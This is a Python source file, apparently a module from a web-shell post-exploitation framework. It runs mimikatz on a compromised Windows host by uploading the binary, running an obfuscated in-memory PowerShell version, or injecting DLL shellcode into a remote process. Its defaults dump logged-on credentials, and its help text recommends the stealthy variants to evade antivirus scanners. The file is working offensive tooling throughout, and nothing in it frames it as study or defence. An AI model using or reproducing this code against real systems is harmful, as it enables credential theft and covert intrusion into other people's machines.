Files
2021-09-19 15:47:15 +02:00

167 lines
9.2 KiB
Python

from core.Module import Module, ModuleException
from core import config
from modules.upload import Upload
from modules.exec_cmd import Exec_cmd
from modules.runas import Runas
from modules.invoke_ps_module import Invoke_ps_module
from modules.invoke_ps_module_as import Invoke_ps_module_as
from modules.inject_dll_srdi import Inject_dll_srdi
from utils.random_string import random_generator
import traceback
import os
class MimikatzModuleException(ModuleException):
pass
class Mimikatz(Module):
_exception_class = MimikatzModuleException
short_help = "Run an offline version of mimikatz directly in memory"
complete_help = r"""
Authors: @gentilkiwi @PowerShellMafia
Links: https://github.com/gentilkiwi/mimikatz
https://github.com/PowerShellMafia/PowerSploit/blob/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1
Credits: @phra
This module allows you to run mimikatz in a versatile way.
Within this module it is possible to run mimikatz in 3 different ways:
'ps1': an obfuscated ps1 module will be uploaded to the server and get deobfuscated at runtime in memory;
'exe': the classic mimikatz binary will be uploaded to the server and run with arguments;
'dll': convert mimikatz dll into a position independent shellcode and inject into a remote process.
It is recommended to run the ps1 version because it will be obfuscated and run from memory.
The exe version will be just dropped as clear and could be catched by av scanners.
The dll version is the most stealthy but it doesn't support impersonation atm.
Usage:
#mimikatz [exec_type] [username] [password] [domain] [custom_command]
Positional arguments:
exec_type execution type for running mimikatz:
'ps1' will upload and execute the powershell version of mimikatz
'exe' will upload and execute the classic version of binary mimikatz
'dll' will inject converted dll shellcode into a remote process
Default: 'ps1'
username username of the user to runas the process
password password of the user to runas the process
domain domain of the user to runas the process
custom_command based on exec_type, the custom command could be:
- 'ps1' : powershell code to add to the ps1 mimikatz module;
- 'exe' : command line arguments to the mimikatz binary;
- 'dll' : command line arguments to be executed.
Default:
'ps1': ';Invoke-Mimikatz -DumpCreds'
'exe': 'privilege::debug sekurlsa::logonpasswords exit'
'dll': 'privilege::debug sekurlsa::logonpasswords exit'
Examples:
Run mimikatz as the current user
#mimikatz
Run mimikatz dll
#mimikatz 'dll'
Run mimikatz as a specific local user
#mimikatz 'ps1' 'user1' 'password1'
Run mimikatz as a specific domain user
#mimikatz 'ps1' 'user1' 'password1' 'domain'
Run exe version of mimikatz as the current user
#mimikatz 'exe'
Run exe version of mimikatz as a specific user
#mimikatz 'exe' 'user1' 'password1'
Run mimikatz with a custom command, i.e. dumping cert
#mimikatz 'ps1' '' '' '' ';Invoke-Mimikatz -DumpCerts'
Run mimikatz binary with a custom command, i.e. coffee :)
#mimikatz 'exe' '' '' '' 'coffee exit'
"""
__default_exec_type = 'ps1'
__default_username = ''
__default_password = ''
__default_domain = ''
__default_ps_command = ';Invoke-Mimikatz -DumpCreds'
__default_exe_command = 'privilege::debug sekurlsa::logonpasswords exit'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
self.exec_cmd_module_object = Exec_cmd(password, channel_enc_mode, module_settings, request_object)
self.runas_module_object = Runas(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_module_object = Invoke_ps_module(password, channel_enc_mode, module_settings, request_object)
self.invoke_ps_as_module_object = Invoke_ps_module_as(password, channel_enc_mode, module_settings, request_object)
self.inject_dll_srdi_module_object = Inject_dll_srdi(password, channel_enc_mode, module_settings, request_object)
def __parse_run_args(self, args):
args_parser = {k: v for k, v in enumerate(args)}
exec_type = args_parser.get(0, self.__default_exec_type)
username = args_parser.get(1, self.__default_username)
password = args_parser.get(2, self.__default_password)
domain = args_parser.get(3, self.__default_domain)
custom_command = args_parser.get(4, self.__default_exe_command if exec_type != 'ps1' else self.__default_ps_command)
return exec_type, username, password, domain, custom_command
def __lookup_exe_binary(self):
if 'mimikatz.exe' in self._module_settings.keys():
bin_path = self._module_settings['mimikatz.exe']
else:
exe_path = config.modules_paths + 'exe_modules' + os.sep + 'mimikatz.exe'
remote_upload_path = self._module_settings['env_directory'] + '\\' + random_generator() + '.exe'
print ('\n\n\nUploading mimikatz binary....\n')
upload_response = self._parse_response(self.upload_module_object.run([exe_path, remote_upload_path]))
print (upload_response)
self._module_settings['mimikatz.exe'] = remote_upload_path
bin_path = remote_upload_path
return bin_path
def __run_exe_version(self, username, password, domain, custom_command):
remote_upload_path = self.__lookup_exe_binary()
if username == '':
response = self.exec_cmd_module_object.run(['""' + remote_upload_path + '""' + ' ' + custom_command])
else:
response = self.runas_module_object.run([remote_upload_path + ' ' + custom_command, username, password, domain])
parsed_response = self._parse_response(response)
return parsed_response
def __run_dll_version(self, username, custom_command):
dll_name = 'powerkatz.dll'
exported_function_name = 'powershell_reflective_mimikatz'
log_file = self._module_settings['env_directory'] + '\\' + random_generator()
exported_function_data = str.encode('"log ' + log_file + '" ' + custom_command + '\x00', 'utf-16-le')
if username == '':
print ('\n\nInjecting converted DLL shellcode into remote process...')
response = self.inject_dll_srdi_module_object.run([dll_name, 'remote_virtual', 'cmd.exe', '60000', '{}',
exported_function_name, exported_function_data])
response = self._parse_response(response)
response += '\nDLL injection executed!\n\n\nOutput of mimikatz:\n\n'
response += self._parse_response(self.exec_cmd_module_object.run(['type ' + log_file + ' & del /f /q ' + log_file]))
else:
raise self._exception_class('#mimikatz: exec_type "dll" does not support the runas function atm\n')
parsed_response = self._parse_response(response)
return parsed_response
def __run_ps_version(self, username, password, domain, custom_command):
if username == '':
response = self.invoke_ps_module_object.run(['Invoke-Mimikatz.ps1', custom_command])
else:
response = self.invoke_ps_as_module_object.run(['Invoke-Mimikatz.ps1', username, password, custom_command, domain])
parsed_response = self._parse_response(response)
return parsed_response
def run(self, args):
try:
exec_type, username, password, domain, custom_command = self.__parse_run_args(args)
if exec_type == 'exe':
response = self.__run_exe_version(username, password, domain, custom_command)
elif exec_type == 'dll':
response = self.__run_dll_version(username, custom_command)
else:
response = self.__run_ps_version(username, password, domain, custom_command)
parsed_response = self._parse_response(response)
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\
str(traceback.format_exc())
return parsed_response